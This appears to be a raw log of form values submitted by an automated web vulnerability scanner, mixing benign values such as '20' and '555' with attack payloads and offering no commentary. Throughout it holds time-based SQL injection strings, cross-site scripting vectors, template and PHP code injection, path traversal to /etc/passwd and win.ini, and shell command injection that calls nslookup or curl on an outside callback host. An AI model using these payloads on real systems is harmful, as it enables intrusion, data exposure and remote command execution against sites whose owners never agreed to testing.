20

  555

  555

  555

  555

  555

  20

  20

  20

  @@7wtqq

  20����%2527%2522\'\"

  20'"

  20

  20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  20reZSuuzz')) OR 412=(SELECT 412 FROM PG_SLEEP(15))--

  555

  20TvQogoPS') OR 227=(SELECT 227 FROM PG_SLEEP(15))--

  555

  2047yp8JKU' OR 137=(SELECT 137 FROM PG_SLEEP(15))--

  20-1)) OR 601=(SELECT 601 FROM PG_SLEEP(15))--

  20-1) OR 961=(SELECT 961 FROM PG_SLEEP(15))--

  555

  20-1 OR 131=(SELECT 131 FROM PG_SLEEP(15))--

  20Ofx6i0ox')); waitfor delay '0:0:15' --

  2075fsvfrR'); waitfor delay '0:0:15' --

  20IP588TW5'; waitfor delay '0:0:15' --

  20-1 waitfor delay '0:0:15' --

  20-1)); waitfor delay '0:0:15' --

  20-1); waitfor delay '0:0:15' --

  20-1; waitfor delay '0:0:15' --

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z

  200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

  20*if(now()=sysdate(),sleep(15),0)

  -1" OR 3*2>(0+5+925-925) --

  -1" OR 3*2<(0+5+925-925) --

  -1" OR 3+925-925-1=0+0+0+1 --

  -1" OR 2+925-925-1=0+0+0+1 --

  -1' OR 3*2>(0+5+914-914) or 'xpZ26Fkg'='

  -1' OR 3*2<(0+5+914-914) or 'xpZ26Fkg'='

  -1' OR 3+914-914-1=0+0+0+1 or 'xpZ26Fkg'='

  -1' OR 2+914-914-1=0+0+0+1 or 'xpZ26Fkg'='

  -1' OR 3*2>(0+5+383-383) --

  -1' OR 3*2<(0+5+383-383) --

  -1' OR 3+383-383-1=0+0+0+1 --

  -1' OR 2+383-383-1=0+0+0+1 --

  -1 OR 3*2>(0+5+657-657)

  -1 OR 3*2<(0+5+657-657)

  -1 OR 3+657-657-1=0+0+0+1

  -1 OR 2+657-657-1=0+0+0+1

  -1 OR 3*2>(0+5+260-260) --

  -1 OR 3*2<(0+5+260-260) --

  -1 OR 3+260-260-1=0+0+0+1 --

  -1 OR 2+260-260-1=0+0+0+1 --

  20

  20

  20

  555

  555

  555

  20

  20

  20

  555

  555

  @@GR2f4

  555%C0%A7%C0%A2%2527%2522\'\"

  555'"

  555

  555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  555X127vAbf')) OR 263=(SELECT 263 FROM PG_SLEEP(15))--

  555sN7t3Wqh') OR 923=(SELECT 923 FROM PG_SLEEP(15))--

  555X2tJrfX7' OR 327=(SELECT 327 FROM PG_SLEEP(15))--

  555-1)) OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  555-1) OR 731=(SELECT 731 FROM PG_SLEEP(15))--

  555-1 OR 307=(SELECT 307 FROM PG_SLEEP(15))--

  555PW4a6fu3')); waitfor delay '0:0:15' --

  555DpOpz8nW'); waitfor delay '0:0:15' --

  5557OwTrA40'; waitfor delay '0:0:15' --

  555-1 waitfor delay '0:0:15' --

  555-1)); waitfor delay '0:0:15' --

  555-1); waitfor delay '0:0:15' --

  555-1; waitfor delay '0:0:15' --

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  20

  5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

  20

  5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

  555*if(now()=sysdate(),sleep(15),0)

  20

  -1" OR 3*2>(0+5+713-713) --

  -1" OR 3*2<(0+5+713-713) --

  -1" OR 3+713-713-1=0+0+0+1 --

  -1" OR 2+713-713-1=0+0+0+1 --

  -1' OR 3*2>(0+5+912-912) or 'T55cQIfY'='

  -1' OR 3*2<(0+5+912-912) or 'T55cQIfY'='

  -1' OR 3+912-912-1=0+0+0+1 or 'T55cQIfY'='

  -1' OR 2+912-912-1=0+0+0+1 or 'T55cQIfY'='

  -1' OR 3*2>(0+5+983-983) --

  -1' OR 3*2<(0+5+983-983) --

  -1' OR 3+983-983-1=0+0+0+1 --

  -1' OR 2+983-983-1=0+0+0+1 --

  -1 OR 3*2>(0+5+376-376)

  -1 OR 3*2<(0+5+376-376)

  -1 OR 3+376-376-1=0+0+0+1

  -1 OR 2+376-376-1=0+0+0+1

  -1 OR 3*2>(0+5+130-130) --

  -1 OR 3*2<(0+5+130-130) --

  -1 OR 3+130-130-1=0+0+0+1 --

  -1 OR 2+130-130-1=0+0+0+1 --

  555

  555

  555

  555

  555

  555

  555

  555<iframe src="9330.com"></iframe>

  555

  555vQj4A

  555}body{zzz:Expre/**/SSion(Qk1Z(9061))}

  <a></a>

  <a href="http://xss.bxss.me"></a>

  555<input>

  %F6<img>

  555&lt;ScRiPt&gt;Qk1Z(9689)&lt;/sCripT&gt;

  555\u003CScRiPt\Qk1Z(9439)\u003C/sCripT\u003E

  %35%35%35%3C%53%63%52%69%50%74%20%3E%51%6B%31%5A%289203%29%3C%2F%73%43%72%69%70%54%3E

  555<img src="&gt;">

  555<img src="xyz">

  555<img src="//xss.bxss.me/t/dot.gif">

  555

  555<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  555<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

  555

  555&lt;ScRiPt &gt;Qk1Z(9570)

  555

  555

  555IpT&gt;

  5559887

  555

  555

  555

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  dfb__${98991*97996}__::.x

  dfb[[${98991*97996}]]xca

  555

  dfb{{98991*97996}}xca

  555

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

  555

  555

 

  555

  555

  &lt;%={{={@{#{${dfb}}%&gt;

  ${9999133+9999389}

  bfgx6112%C0%BEz1%C0%BCz2a%90bcxhjl6112

  555

  bfg2612＜s1﹥s2ʺs3ʹhjl2612

  555

  12345'"\'\");|]*{ &lt;&gt;%BF''💡

  5559453849

  555

  '"()&amp;%

  555'"()&amp;%

 

  '"

  'A'.concat(70-3).concat(22*4).concat(120).concat(68).concat(106).concat(80)+(require'socket' Socket.gethostbyname('hitor'+'vaqyxkzc652d5.bxss.me.')[3].to_s)

  index.php/.

  index.php

  index.php

  '+'A'.concat(70-3).concat(22*4).concat(120).concat(67).concat(106).concat(81)+(require'socket' Socket.gethostbyname('hitup'+'zktiyhyd9c66b.bxss.me.')[3].to_s)+'

  "+"A".concat(70-3).concat(22*4).concat(109).concat(72).concat(102).concat(77)+(require"socket" Socket.gethostbyname("hitdo"+"qflpswuhba655.bxss.me.")[3].to_s)+"

  '.print(md5(31337)).'

  bxss.me/t/xss.html?%00

  ${@print(md5(31337))}\

  HttP://bxss.me/t/xss.html?%00

  ${@print(md5(31337))}

  ";print(md5(31337));$a="

  ';print(md5(31337));$a='

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  gethostbyname(lc('hittv'.'ildbiwab28f8a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(70).chr(104).chr(76)

  ".gethostbyname(lc("hitqu"."khoarchm72231.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(79).chr(98).chr(86)."

  '.gethostbyname(lc('hitsd'.'vbzclgnq8fcee.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(71).chr(99).chr(87).'

  20

  555

  20

  20

  20

  20<iframe src="9970.com"></iframe>

  20

  555

  555

  20BWwMh

  555

  20}body{zzz:Expre/**/SSion(H4qk(9587))}

  <a></a>

  <a href="http://xss.bxss.me"></a>

  20

  20<input>

  �<img>

  20&lt;ScRiPt&gt;H4qk(9834)&lt;/sCripT&gt;

  bxss.me

  20\u003CScRiPt\H4qk(9053)\u003C/sCripT\u003E

  555

  %32%30%3C%53%63%52%69%50%74%20%3E%48%34%71%6B%289131%29%3C%2F%73%43%72%69%70%54%3E

  c:/windows/win.ini

  20<img src="&gt;">

  ../../../../../../../../../../../../../../etc/shells

  20<img src="xyz">

  20<img src="//xss.bxss.me/t/dot.gif">

  /etc/shells

  http://bxss.me/t/fit.txt?.jpg

  Http://bxss.me/t/fit.txt

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

  555

  20

  555

  20<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  555

  20<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

  20

  555"||sleep(27*1000)*zlzfwg||"

  555'||sleep(27*1000)*kzbakq||'

  20&lt;ScRiPt &gt;H4qk(9801)

  20

  555"&amp;&amp;sleep(27*1000)*yndgik&amp;&amp;"

  555'&amp;&amp;sleep(27*1000)*ytgcge&amp;&amp;'

  20

  20

  '"()

  20%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%48%34%71%6B%28%39%39%37%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

  555

  209499

  20

  20

  20

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  555

  dfb__${98991*97996}__::.x

  dfb[[${98991*97996}]]xca

  dfb{{98991*97996}}xca

  20

  555

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

  ^(#$!@#$)(()))******

  20

  !(()&amp;&amp;!|*|*|

 

  )

  20

  &lt;%={{={@{#{${dfb}}%&gt;

  bfgx3227%C0%BEz1%C0%BCz2a%90bcxhjl3227

  555

  bfg7882%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl7882

  209246712

  '"()&amp;%

  20'"()&amp;%

  redirtest.acx

  555

  &amp;(nslookup${IFS}-q${IFS}cname${IFS}hitfihxxoqrxb33196.bxss.me||curl${IFS}hitfihxxoqrxb33196.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitfihxxoqrxb33196.bxss.me||curl${IFS}hitfihxxoqrxb33196.bxss.me)&amp;`'

  |(nslookup${IFS}-q${IFS}cname${IFS}hitcxajjoldaw613e8.bxss.me||curl${IFS}hitcxajjoldaw613e8.bxss.me)

  ;(nslookup -q=cname hitrbkyxtjloe303c0.bxss.me||curl hitrbkyxtjloe303c0.bxss.me)|(nslookup -q=cname hitrbkyxtjloe303c0.bxss.me||curl hitrbkyxtjloe303c0.bxss.me)&amp;(nslookup -q=cname hitrbkyxtjloe303c0.bxss.me||curl hitrbkyxtjloe303c0.bxss.me)

  `(nslookup -q=cname hityheusqmgwf56174.bxss.me||curl hityheusqmgwf56174.bxss.me)`

  |(nslookup -q=cname hitrfncdofyha83b5c.bxss.me||curl hitrfncdofyha83b5c.bxss.me)

  &amp;(nslookup -q=cname hitwoawgigiljc5195.bxss.me||curl hitwoawgigiljc5195.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitwoawgigiljc5195.bxss.me||curl hitwoawgigiljc5195.bxss.me)&amp;`'

  &amp;nslookup -q=cname hityksggbhlsi7f2db.bxss.me&amp;'\"`0&amp;nslookup -q=cname hityksggbhlsi7f2db.bxss.me&amp;`'

  555

  $(nslookup -q=cname hitkyhbxudrnr3565e.bxss.me||curl hitkyhbxudrnr3565e.bxss.me)

  (nslookup -q=cname hitsitnjkfedn426f4.bxss.me||curl hitsitnjkfedn426f4.bxss.me))

  expr 9000753901 - 948138

  555|echo ktxcpm$()\ lvayit\nz^xyu||a #' |echo ktxcpm$()\ lvayit\nz^xyu||a #|" |echo ktxcpm$()\ lvayit\nz^xyu||a #

  |echo bagjgw$()\ myykvv\nz^xyu||a #' |echo bagjgw$()\ myykvv\nz^xyu||a #|" |echo bagjgw$()\ myykvv\nz^xyu||a #

  555&amp;echo cssalw$()\ hbcdnr\nz^xyu||a #' &amp;echo cssalw$()\ hbcdnr\nz^xyu||a #|" &amp;echo cssalw$()\ hbcdnr\nz^xyu||a #

  ./555

  &amp;echo idoytv$()\ eisssy\nz^xyu||a #' &amp;echo idoytv$()\ eisssy\nz^xyu||a #|" &amp;echo idoytv$()\ eisssy\nz^xyu||a #

  ../555

  echo pnhsmk$()\ ggjybi\nz^xyu||a #' &amp;echo pnhsmk$()\ ggjybi\nz^xyu||a #|" &amp;echo pnhsmk$()\ ggjybi\nz^xyu||a #

  555

  file:///etc/passwd

  20

  ../../../../../../../../../../../../../../windows/win.ini

  ../../../../../../../../../../../../../../etc/passwd

  555

  555

  20

  +response.write(9189868*9956381)'

  20

  &lt;% response.write(9189868*9956381) %&gt;

  "+response.write(9189868*9956381)+"

  '+response.write(9189868*9956381)+'

  555

  20

  response.write(9189868*9956381)

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  ${9999871+9999694}

  20

  'A'.concat(70-3).concat(22*4).concat(101).concat(88).concat(103).concat(74)+(require'socket' Socket.gethostbyname('hitji'+'ppyhnknxea31e.bxss.me.')[3].to_s)

  20

  '+'A'.concat(70-3).concat(22*4).concat(116).concat(68).concat(114).concat(80)+(require'socket' Socket.gethostbyname('hitge'+'hwwxtlmy24f77.bxss.me.')[3].to_s)+'

  12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡

  20

  "+"A".concat(70-3).concat(22*4).concat(120).concat(69).concat(102).concat(81)+(require"socket" Socket.gethostbyname("hitzx"+"bduijygaab071.bxss.me.")[3].to_s)+"

  20

 

  20

  '"

  bxss.me/t/xss.html?%00

  HttP://bxss.me/t/xss.html?%00

  '.print(md5(31337)).'

  ${@print(md5(31337))}\

  20

  ${@print(md5(31337))}

  20"||sleep(27*1000)*dzkdsl||"

  ";print(md5(31337));$a="

  20'||sleep(27*1000)*ajvxmg||'

  ';print(md5(31337));$a='

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  &amp;(nslookup${IFS}-q${IFS}cname${IFS}hitjpmlcrjfgz8a7f1.bxss.me||curl${IFS}hitjpmlcrjfgz8a7f1.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitjpmlcrjfgz8a7f1.bxss.me||curl${IFS}hitjpmlcrjfgz8a7f1.bxss.me)&amp;`'

  20"&amp;&amp;sleep(27*1000)*sgigjn&amp;&amp;"

  20'&amp;&amp;sleep(27*1000)*provdx&amp;&amp;'

  |(nslookup${IFS}-q${IFS}cname${IFS}hitmmsosrtggc4c959.bxss.me||curl${IFS}hitmmsosrtggc4c959.bxss.me)

  '"()

  ;(nslookup -q=cname hitqwxgpojttp46624.bxss.me||curl hitqwxgpojttp46624.bxss.me)|(nslookup -q=cname hitqwxgpojttp46624.bxss.me||curl hitqwxgpojttp46624.bxss.me)&amp;(nslookup -q=cname hitqwxgpojttp46624.bxss.me||curl hitqwxgpojttp46624.bxss.me)

  `(nslookup -q=cname hitfenkgrlvdbad53f.bxss.me||curl hitfenkgrlvdbad53f.bxss.me)`

  |(nslookup -q=cname hitybrqojraqib6a9e.bxss.me||curl hitybrqojraqib6a9e.bxss.me)

  20

  &amp;(nslookup -q=cname hitjvvgedjmwr6b478.bxss.me||curl hitjvvgedjmwr6b478.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitjvvgedjmwr6b478.bxss.me||curl hitjvvgedjmwr6b478.bxss.me)&amp;`'

  &amp;nslookup -q=cname hitiqbeyustbn1e55c.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitiqbeyustbn1e55c.bxss.me&amp;`'

  $(nslookup -q=cname hitokahotzdalf8f51.bxss.me||curl hitokahotzdalf8f51.bxss.me)

  bxss.me

  c:/windows/win.ini

  ../../../../../../../../../../../../../../etc/shells

  (nslookup -q=cname hitgombqkacdxb20bc.bxss.me||curl hitgombqkacdxb20bc.bxss.me))

  expr 9000654903 - 975578

  20|echo wklhbg$()\ iqsahx\nz^xyu||a #' |echo wklhbg$()\ iqsahx\nz^xyu||a #|" |echo wklhbg$()\ iqsahx\nz^xyu||a #

  |echo luhjhy$()\ nvwjxy\nz^xyu||a #' |echo luhjhy$()\ nvwjxy\nz^xyu||a #|" |echo luhjhy$()\ nvwjxy\nz^xyu||a #

  /etc/shells

  20&amp;echo efjfcy$()\ rlsnab\nz^xyu||a #' &amp;echo efjfcy$()\ rlsnab\nz^xyu||a #|" &amp;echo efjfcy$()\ rlsnab\nz^xyu||a #

  http://bxss.me/t/fit.txt%3F.jpg

  &amp;echo ktgpgy$()\ cbphzk\nz^xyu||a #' &amp;echo ktgpgy$()\ cbphzk\nz^xyu||a #|" &amp;echo ktgpgy$()\ cbphzk\nz^xyu||a #

  Http://bxss.me/t/fit.txt

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

  echo rrizqp$()\ kpfzde\nz^xyu||a #' &amp;echo rrizqp$()\ kpfzde\nz^xyu||a #|" &amp;echo rrizqp$()\ kpfzde\nz^xyu||a #

  20

  20

  20

  gethostbyname(lc('hittw'.'gbjdvixefb910.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(73).chr(104).chr(86)

  ".gethostbyname(lc("hitvw"."tarvcczkd79d9.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(74).chr(105).chr(78)."

  20

  '.gethostbyname(lc('hitsi'.'acuiugwyf5597.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(73).chr(121).chr(69).'

  20

  20

  20

  20

  ./20

  20

  ../20

  20

  file:///etc/passwd

  ../../../../../../../../../../../../../../windows/win.ini

  ^(#$!@#$)(()))******

  ../../../../../../../../../../../../../../etc/passwd

  !(()&amp;&amp;!|*|*|

  )

  +response.write(9396298*9707511)'

  20

  &lt;% response.write(9396298*9707511) %&gt;

  "+response.write(9396298*9707511)+"

  '+response.write(9396298*9707511)+'

  response.write(9396298*9707511)

  20

  20

  redirtest.acx

  20

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  20

  20

  555

  20

  20

  20

  20